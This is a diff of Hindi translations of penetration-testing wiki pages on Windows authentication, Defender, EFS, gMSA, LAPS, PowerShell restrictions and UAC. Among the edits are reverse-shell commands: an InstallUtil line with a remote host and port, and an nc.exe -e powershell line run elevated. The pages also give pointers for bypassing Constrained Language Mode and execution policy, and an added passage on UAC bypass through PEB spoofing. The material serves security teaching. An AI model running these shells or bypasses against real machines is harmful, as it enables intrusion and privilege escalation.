[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). @@ -50,7 +50,7 @@ C:\windows\tracing **क्रेडेंशियल्स** (हैश किए गए) इस उपप्रणाली की **मेमोरी** में **सहेजे** जाते हैं ताकि सिंगल साइन-ऑन कारणों के लिए।\ **LSA** स्थानीय **सुरक्षा नीति** (पासवर्ड नीति, उपयोगकर्ता अनुमतियाँ...), **प्रमाणीकरण**, **एक्सेस टोकन**... का प्रबंधन करता है।\ -LSA वह होगा जो **SAM** फ़ाइल के अंदर प्रदान किए गए क्रेडेंशियल्स की **जांच** करेगा (स्थानीय लॉगिन के लिए) और एक डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **डोमेन नियंत्रक** से **बात करेगा**। +LSA वह होगा जो **SAM** फ़ाइल के अंदर प्रदान किए गए क्रेडेंशियल्स की **जांच** करेगा (स्थानीय लॉगिन के लिए) और एक डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **डोमेन नियंत्रक** से **बात** करेगा। **क्रेडेंशियल्स** **प्रक्रिया LSASS** के अंदर **सहेजे** जाते हैं: Kerberos टिकट, NT और LM हैश, आसानी से डिक्रिप्ट किए गए पासवर्ड। @@ -69,11 +69,11 @@ LSA कुछ क्रेडेंशियल्स को डिस्क म ## डिफेंडर -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक एंटीवायरस है जो Windows 10 और Windows 11 में उपलब्ध है, और Windows Server के संस्करणों में। यह सामान्य पेंटेस्टिंग उपकरणों जैसे **`WinPEAS`** को **ब्लॉक** करता है। हालाँकि, इन सुरक्षा उपायों को **बायपास करने के तरीके** हैं। +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक एंटीवायरस है जो Windows 10 और Windows 11 में उपलब्ध है, और Windows Server के संस्करणों में। यह सामान्य पेंटेस्टिंग उपकरणों जैसे **`WinPEAS`** को **ब्लॉक** करता है। हालाँकि, इन सुरक्षा उपायों को **बायपास करने** के तरीके हैं। ### जांचें -**डिफेंडर** की **स्थिति** की जांच करने के लिए आप PS cmdlet **`Get-MpComputerStatus`** निष्पादित कर सकते हैं (यह जानने के लिए कि यह सक्रिय है, **`RealTimeProtectionEnabled`** का मान जांचें): +**Defender** की **स्थिति** की जांच करने के लिए आप PS cmdlet **`Get-MpComputerStatus`** निष्पादित कर सकते हैं (यह जानने के लिए **`RealTimeProtectionEnabled`** का मान जांचें कि यह सक्रिय है):
PS C:\> Get-MpComputerStatus
 
@@ -108,14 +108,14 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा
 **उपयोगकर्ता की पहल के बिना डिक्रिप्शन परिदृश्य** में शामिल हैं:
 
 - जब फ़ाइलें या फ़ोल्डर को गैर-EFS फ़ाइल सिस्टम में स्थानांतरित किया जाता है, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), तो वे स्वचालित रूप से डिक्रिप्ट हो जाते हैं।
-- नेटवर्क के माध्यम से SMB/CIFS प्रोटोकॉल के माध्यम से भेजी गई एन्क्रिप्टेड फ़ाइलें प्रसारण से पहले डिक्रिप्ट की जाती हैं।
+- SMB/CIFS प्रोटोकॉल के माध्यम से नेटवर्क पर भेजी गई एन्क्रिप्टेड फ़ाइलें प्रसारण से पहले डिक्रिप्ट की जाती हैं।
 
-यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉगिन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी।
+यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉग इन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी।
 
-**मुख्य बिंदु**:
+**मुख्य निष्कर्ष**:
 
 - EFS एक समानांतर FEK का उपयोग करता है, जो उपयोगकर्ता की सार्वजनिक कुंजी के साथ एन्क्रिप्ट किया गया है।
-- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग किया जाता है ताकि FEK तक पहुंचा जा सके।
+- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग किया जाता है ताकि FEK तक पहुंच प्राप्त की जा सके।
 - स्वचालित डिक्रिप्शन विशिष्ट परिस्थितियों के तहत होता है, जैसे FAT32 में कॉपी करना या नेटवर्क ट्रांसमिशन।
 - एन्क्रिप्टेड फ़ाइलें मालिक के लिए बिना अतिरिक्त कदमों के सुलभ होती हैं।
 
@@ -123,7 +123,7 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा
 
 जांचें कि क्या एक **उपयोगकर्ता** ने इस **सेवा** का उपयोग किया है यह जांचकर कि क्या यह पथ मौजूद है:`C:\users\\appdata\roaming\Microsoft\Protect`
 
-जांचें **किसके पास** फ़ाइल तक **पहुँच** है `cipher /c \\`\
+जांचें **किसने** फ़ाइल तक **पहुँच** प्राप्त की है `cipher /c \\`\
 आप एक फ़ोल्डर के अंदर `cipher /e` और `cipher /d` का उपयोग करके सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** भी कर सकते हैं।
 
 ### Decrypting EFS files
@@ -134,21 +134,22 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा
 
 #### Knowing the users password
 
+
 {{#ref}}
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 {{#endref}}
 
 ## Group Managed Service Accounts (gMSA)
 
-Microsoft ने IT बुनियादी ढांचों में सेवा खातों के प्रबंधन को सरल बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किया। पारंपरिक सेवा खातों के विपरीत जिनमें अक्सर "**पासवर्ड कभी समाप्त नहीं होता**" सेटिंग सक्षम होती है, gMSA एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
+Microsoft ने IT बुनियादी ढांचों में सेवा खातों के प्रबंधन को सरल बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किया। पारंपरिक सेवा खातों के विपरीत, जिनमें अक्सर "**पासवर्ड कभी समाप्त नहीं होता**" सेटिंग सक्षम होती है, gMSAs एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
 
-- **स्वचालित पासवर्ड प्रबंधन**: gMSA एक जटिल, 240-चरित्र पासवर्ड का उपयोग करते हैं जो डोमेन या कंप्यूटर नीति के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft की की वितरण सेवा (KDC) द्वारा संभाली जाती है, जिससे मैनुअल पासवर्ड अपडेट की आवश्यकता समाप्त हो जाती है।
+- **स्वचालित पासवर्ड प्रबंधन**: gMSAs एक जटिल, 240-चरित्र पासवर्ड का उपयोग करते हैं जो डोमेन या कंप्यूटर नीति के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft की की वितरण सेवा (KDC) द्वारा संभाली जाती है, जिससे मैनुअल पासवर्ड अपडेट की आवश्यकता समाप्त हो जाती है।
 - **सुरक्षा में वृद्धि**: ये खाते लॉकआउट के प्रति प्रतिरक्षित होते हैं और इंटरैक्टिव लॉगिन के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है।
-- **कई होस्ट समर्थन**: gMSA को कई होस्टों के बीच साझा किया जा सकता है, जिससे ये कई सर्वरों पर चलने वाली सेवाओं के लिए आदर्श बन जाते हैं।
-- **निर्धारित कार्य क्षमता**: प्रबंधित सेवा खातों के विपरीत, gMSA निर्धारित कार्यों को चलाने का समर्थन करते हैं।
+- **कई होस्ट समर्थन**: gMSAs को कई होस्टों के बीच साझा किया जा सकता है, जिससे वे कई सर्वरों पर चलने वाली सेवाओं के लिए आदर्श बन जाते हैं।
+- **निर्धारित कार्य क्षमता**: प्रबंधित सेवा खातों के विपरीत, gMSAs निर्धारित कार्यों को चलाने का समर्थन करते हैं।
 - **सरल SPN प्रबंधन**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होते हैं, तो सिस्टम स्वचालित रूप से सेवा प्रिंसिपल नाम (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
 
-gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और हर 30 दिन में डोमेन नियंत्रकों (DCs) द्वारा स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSA स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
+gMSAs के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और डोमेन नियंत्रकों (DCs) द्वारा हर 30 दिन में स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSAs स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -162,7 +163,7 @@ gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**
 
 ## LAPS
 
-**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड के प्रबंधन की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से सीमित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
+**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड का प्रबंधन करने की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से सीमित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -170,7 +171,7 @@ gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**
 
 ## PS Constrained Language Mode
 
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **कई सुविधाओं को लॉक कर देता है** जो PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक हैं, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को लॉक कर देता है**, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
 
 ### **जांचें**
 ```bash
@@ -193,11 +194,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके किसी भी प्रक्रिया में **Powershell** कोड को निष्पादित कर सकते हैं और प्रतिबंधित मोड को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और सीमित मोड को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
 ## PS निष्पादन नीति
 
-डिफ़ॉल्ट रूप से इसे **प्रतिबंधित** पर सेट किया गया है। इस नीति को बायपास करने के मुख्य तरीके:
+डिफ़ॉल्ट रूप से इसे **restricted** पर सेट किया गया है। इस नीति को बायपास करने के मुख्य तरीके:
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@@ -225,7 +226,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
 
 SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए।
 
-### मुख्य SSPs
+### Main SSPs
 
 - **Kerberos**: पसंदीदा
 - %windir%\Windows\System32\kerberos.dll
@@ -235,14 +236,14 @@ SSPI उन दो मशीनों के लिए उपयुक्त प
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL और TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: इसका उपयोग प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, Kerberos डिफ़ॉल्ट है)
+- **Negotiate**: इसका उपयोग प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, जिसमें Kerberos डिफ़ॉल्ट है)
 - %windir%\Windows\System32\lsasrv.dll
 
-#### बातचीत कई विधियाँ या केवल एक ही पेश कर सकती है।
+#### The negotiation could offer several methods or only one.
 
 ## UAC - User Account Control
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति संकेत** सक्षम करती है।
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है।
 
 {{#ref}}
 uac-user-account-control.md
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
index d707f62d3..de5af9331 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -4,17 +4,17 @@
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। अनुप्रयोगों के विभिन्न `integrity` स्तर होते हैं, और एक **उच्च स्तर** वाला प्रोग्राम ऐसे कार्य कर सकता है जो **संविधान को खतरे में डाल सकता है**। जब UAC सक्षम होता है, अनुप्रयोग और कार्य हमेशा **गैर-प्रशासक खाते के सुरक्षा संदर्भ में चलते हैं** जब तक कि एक प्रशासक स्पष्ट रूप से इन अनुप्रयोगों/कार्य को सिस्टम पर प्रशासक स्तर की पहुंच देने के लिए अधिकृत न करे। यह एक सुविधा है जो प्रशासकों को अनपेक्षित परिवर्तनों से बचाती है लेकिन इसे सुरक्षा सीमा नहीं माना जाता है।
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। अनुप्रयोगों के विभिन्न `integrity` स्तर होते हैं, और एक **उच्च स्तर** वाला प्रोग्राम ऐसे कार्य कर सकता है जो **संभवतः सिस्टम को खतरे में डाल सकता है**। जब UAC सक्षम होता है, अनुप्रयोग और कार्य हमेशा **गैर-प्रशासक खाते के सुरक्षा संदर्भ में चलते हैं** जब तक कि एक प्रशासक स्पष्ट रूप से इन अनुप्रयोगों/कार्य को सिस्टम पर प्रशासक स्तर की पहुंच देने के लिए अधिकृत न करे। यह एक सुविधा है जो प्रशासकों को अनपेक्षित परिवर्तनों से बचाती है लेकिन इसे सुरक्षा सीमा नहीं माना जाता है।
 
-अवधारण स्तरों के बारे में अधिक जानकारी के लिए:
+अधिकार स्तरों के बारे में अधिक जानकारी के लिए:
 
 {{#ref}}
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-जब UAC लागू होता है, एक प्रशासक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक मानक उपयोगकर्ता कुंजी, नियमित स्तर के रूप में नियमित कार्य करने के लिए, और एक प्रशासक विशेषाधिकार के साथ।
+जब UAC लागू होता है, एक प्रशासक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक मानक उपयोगकर्ता कुंजी, नियमित स्तर के रूप में नियमित क्रियाएँ करने के लिए, और एक प्रशासक विशेषाधिकार के साथ।
 
-यह [पृष्ठ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC के काम करने के तरीके पर गहराई से चर्चा करता है और लॉगिन प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर को शामिल करता है। प्रशासक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) या Active Directory डोमेन वातावरण में समूह नीति वस्तुओं (GPO) के माध्यम से UAC के काम करने के तरीके को कॉन्फ़िगर और धकेल सकते हैं। विभिन्न सेटिंग्स का विस्तार से चर्चा की गई है [यहां](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)। UAC के लिए सेट की जा सकने वाली 10 समूह नीति सेटिंग्स हैं। निम्नलिखित तालिका अतिरिक्त विवरण प्रदान करती है:
+यह [पृष्ठ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC के काम करने के तरीके पर गहराई से चर्चा करता है और लॉगिन प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर को शामिल करता है। प्रशासक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) या Active Directory डोमेन वातावरण में समूह नीति वस्तुओं (GPO) के माध्यम से UAC के काम करने के तरीके को कॉन्फ़िगर कर सकते हैं। विभिन्न सेटिंग्स का विस्तार से चर्चा की गई है [यहाँ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)। UAC के लिए सेट की जा सकने वाली 10 समूह नीति सेटिंग्स हैं। निम्नलिखित तालिका अतिरिक्त विवरण प्रदान करती है:
 
 | Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
@@ -33,13 +33,19 @@
 
 कुछ प्रोग्राम **स्वचालित रूप से ऑटोएलीवेट** होते हैं यदि **उपयोगकर्ता** **प्रशासक समूह** का सदस्य है। इन बाइनरी में उनके _**Manifests**_ के अंदर _**autoElevate**_ विकल्प होता है जिसका मान _**True**_ होता है। बाइनरी को **Microsoft द्वारा हस्ताक्षरित** होना चाहिए।
 
-फिर, **UAC** को **बायपास** करने के लिए ( **मध्यम** इंटीग्रिटी स्तर से **उच्च** पर उठाना) कुछ हमलावर इस प्रकार की बाइनरी का उपयोग करते हैं ताकि वे **मनमाने कोड को निष्पादित** कर सकें क्योंकि इसे **उच्च स्तर की इंटीग्रिटी प्रक्रिया** से निष्पादित किया जाएगा।
+कई ऑटो-एलीवेट प्रक्रियाएँ **COM ऑब्जेक्ट्स या RPC सर्वरों के माध्यम से कार्यक्षमता** प्रदान करती हैं, जिन्हें मध्यम इंटीग्रिटी (नियमित उपयोगकर्ता स्तर के विशेषाधिकार) के साथ चलने वाली प्रक्रियाओं से बुलाया जा सकता है। ध्यान दें कि COM (Component Object Model) और RPC (Remote Procedure Call) वे तरीके हैं जिनका उपयोग Windows प्रोग्राम विभिन्न प्रक्रियाओं के बीच संवाद करने और कार्यों को निष्पादित करने के लिए करते हैं। उदाहरण के लिए, **`IFileOperation COM object`** फ़ाइल संचालन (कॉपी करना, हटाना, स्थानांतरित करना) को संभालने के लिए डिज़ाइन किया गया है और बिना प्रॉम्प्ट के विशेषाधिकारों को स्वचालित रूप से बढ़ा सकता है।
 
-आप _**sigcheck.exe**_ टूल का उपयोग करके बाइनरी का _**Manifest**_ **चेक** कर सकते हैं। और आप _Process Explorer_ या _Process Monitor_ (Sysinternals के) का उपयोग करके प्रक्रियाओं के **इंटीग्रिटी स्तर** को **देख** सकते हैं।
+ध्यान दें कि कुछ जांचें की जा सकती हैं, जैसे यह जांचना कि क्या प्रक्रिया **System32 निर्देशिका** से चलाई गई थी, जिसे उदाहरण के लिए **explorer.exe** या किसी अन्य System32-स्थित निष्पादन योग्य में इंजेक्ट करके बायपास किया जा सकता है।
+
+इन जांचों को बायपास करने का एक और तरीका है **PEB को संशोधित करना**। Windows में प्रत्येक प्रक्रिया का एक प्रक्रिया पर्यावरण ब्लॉक (PEB) होता है, जिसमें प्रक्रिया के बारे में महत्वपूर्ण डेटा होता है, जैसे इसका निष्पादन योग्य पथ। PEB को संशोधित करके, हमलावर अपने स्वयं के दुर्भावनापूर्ण प्रक्रिया के स्थान को नकली (स्पूफ) कर सकते हैं, जिससे यह एक विश्वसनीय निर्देशिका (जैसे system32) से चलने के रूप में दिखाई देता है। यह स्पूफ की गई जानकारी COM ऑब्जेक्ट को बिना उपयोगकर्ता को प्रॉम्प्ट किए विशेषाधिकारों को स्वचालित रूप से बढ़ाने के लिए धोखा देती है।
+
+फिर, **UAC** (मध्यम इंटीग्रिटी स्तर से **उच्च** में बढ़ाना) को **बायपास** करने के लिए कुछ हमलावर इस प्रकार की बाइनरी का उपयोग करते हैं ताकि वे **मनमाने कोड** को निष्पादित कर सकें क्योंकि इसे **उच्च स्तर की इंटीग्रिटी प्रक्रिया** से निष्पादित किया जाएगा।
+
+आप _**sigcheck.exe**_ टूल का उपयोग करके बाइनरी के _**Manifest**_ की **जांच** कर सकते हैं। (`sigcheck.exe -m `) और आप _Process Explorer_ या _Process Monitor_ (Sysinternals के) का उपयोग करके प्रक्रियाओं के **इंटीग्रिटी स्तर** को **देख** सकते हैं।
 
 ### Check UAC
 
-UAC सक्षम है या नहीं यह पुष्टि करने के लिए करें:
+UAC सक्षम है या नहीं, इसकी पुष्टि करने के लिए करें:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
@@ -55,18 +61,18 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- यदि **`0`** है, तो UAC प्रॉम्प्ट नहीं करेगा (जैसे **अक्षम**)
-- यदि **`1`** है, तो व्यवस्थापक से **उपयोगकर्ता नाम और पासवर्ड** पूछा जाएगा उच्च अधिकारों के साथ बाइनरी निष्पादित करने के लिए (सुरक्षित डेस्कटॉप पर)
+- यदि **`0`** है तो, UAC प्रॉम्प्ट नहीं करेगा (जैसे **अक्षम**)
+- यदि **`1`** है तो व्यवस्थापक से **उपयोगकर्ता नाम और पासवर्ड** पूछा जाएगा उच्च अधिकारों के साथ बाइनरी को निष्पादित करने के लिए (सुरक्षित डेस्कटॉप पर)
 - यदि **`2`** है (**हमेशा मुझे सूचित करें**) UAC हमेशा व्यवस्थापक से पुष्टि मांगेगा जब वह उच्च विशेषाधिकारों के साथ कुछ निष्पादित करने की कोशिश करेगा (सुरक्षित डेस्कटॉप पर)
-- यदि **`3`** है, तो `1` की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
-- यदि **`4`** है, तो `2` की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
+- यदि **`3`** है तो `1` की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
+- यदि **`4`** है तो `2` की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
 - यदि **`5`** है (**डिफ़ॉल्ट**) तो यह व्यवस्थापक से पुष्टि मांगेगा कि उच्च विशेषाधिकारों के साथ गैर-विंडोज बाइनरी चलाने के लिए
 
 फिर, आपको **`LocalAccountTokenFilterPolicy`** के मान पर ध्यान देना होगा\
-यदि मान **`0`** है, तो केवल **RID 500** उपयोगकर्ता (**बिल्ट-इन व्यवस्थापक**) **UAC के बिना प्रशासनिक कार्य** कर सकता है, और यदि इसका `1` है, तो **"Administrators"** समूह के सभी खाते ऐसा कर सकते हैं।
+यदि मान **`0`** है, तो केवल **RID 500** उपयोगकर्ता (**बिल्ट-इन व्यवस्थापक**) **UAC के बिना प्रशासनिक कार्य** कर सकता है, और यदि इसका मान `1` है, तो **"Administrators"** समूह के सभी खाते ऐसा कर सकते हैं।
 
 और, अंत में **`FilterAdministratorToken`** कुंजी के मान पर ध्यान दें\
-यदि **`0`** (डिफ़ॉल्ट) है, तो **बिल्ट-इन व्यवस्थापक खाता** दूरस्थ प्रशासनिक कार्य कर सकता है और यदि **`1`** है, तो बिल्ट-इन खाता व्यवस्थापक **दूरस्थ प्रशासनिक कार्य** नहीं कर सकता, जब तक `LocalAccountTokenFilterPolicy` को `1` पर सेट नहीं किया गया हो।
+यदि **`0`** (डिफ़ॉल्ट) है, तो **बिल्ट-इन व्यवस्थापक खाता** दूरस्थ प्रशासनिक कार्य कर सकता है और यदि **`1`** है तो बिल्ट-इन खाता व्यवस्थापक **दूरस्थ प्रशासनिक कार्य** नहीं कर सकता, जब तक `LocalAccountTokenFilterPolicy` को `1` पर सेट नहीं किया गया हो।
 
 #### सारांश
 
@@ -84,7 +90,7 @@ whoami /groups | findstr Level
 ```
 ## UAC बायपास
 
-> [!NOTE]
+> [!TIP]
 > ध्यान दें कि यदि आपके पास पीड़ित तक ग्राफिकल पहुंच है, तो UAC बायपास सीधा है क्योंकि आप बस UAC प्रॉम्प्ट दिखाई देने पर "हाँ" पर क्लिक कर सकते हैं।
 
 UAC बायपास की आवश्यकता निम्नलिखित स्थिति में होती है: **UAC सक्रिय है, आपकी प्रक्रिया एक मध्यम अखंडता संदर्भ में चल रही है, और आपका उपयोगकर्ता प्रशासकों समूह में है**।
@@ -93,7 +99,7 @@ UAC बायपास की आवश्यकता निम्नलिख
 
 ### UAC निष्क्रिय
 
-यदि UAC पहले से ही निष्क्रिय है (`ConsentPromptBehaviorAdmin` **`0`** है) तो आप **प्रशासक विशेषाधिकारों के साथ एक रिवर्स शेल निष्पादित कर सकते हैं** (उच्च अखंडता स्तर) कुछ इस तरह:
+यदि UAC पहले से ही निष्क्रिय है (`ConsentPromptBehaviorAdmin` **`0`**) तो आप **प्रशासक विशेषाधिकारों के साथ एक रिवर्स शेल निष्पादित कर सकते हैं** (उच्च अखंडता स्तर) कुछ इस तरह:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -106,7 +112,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 
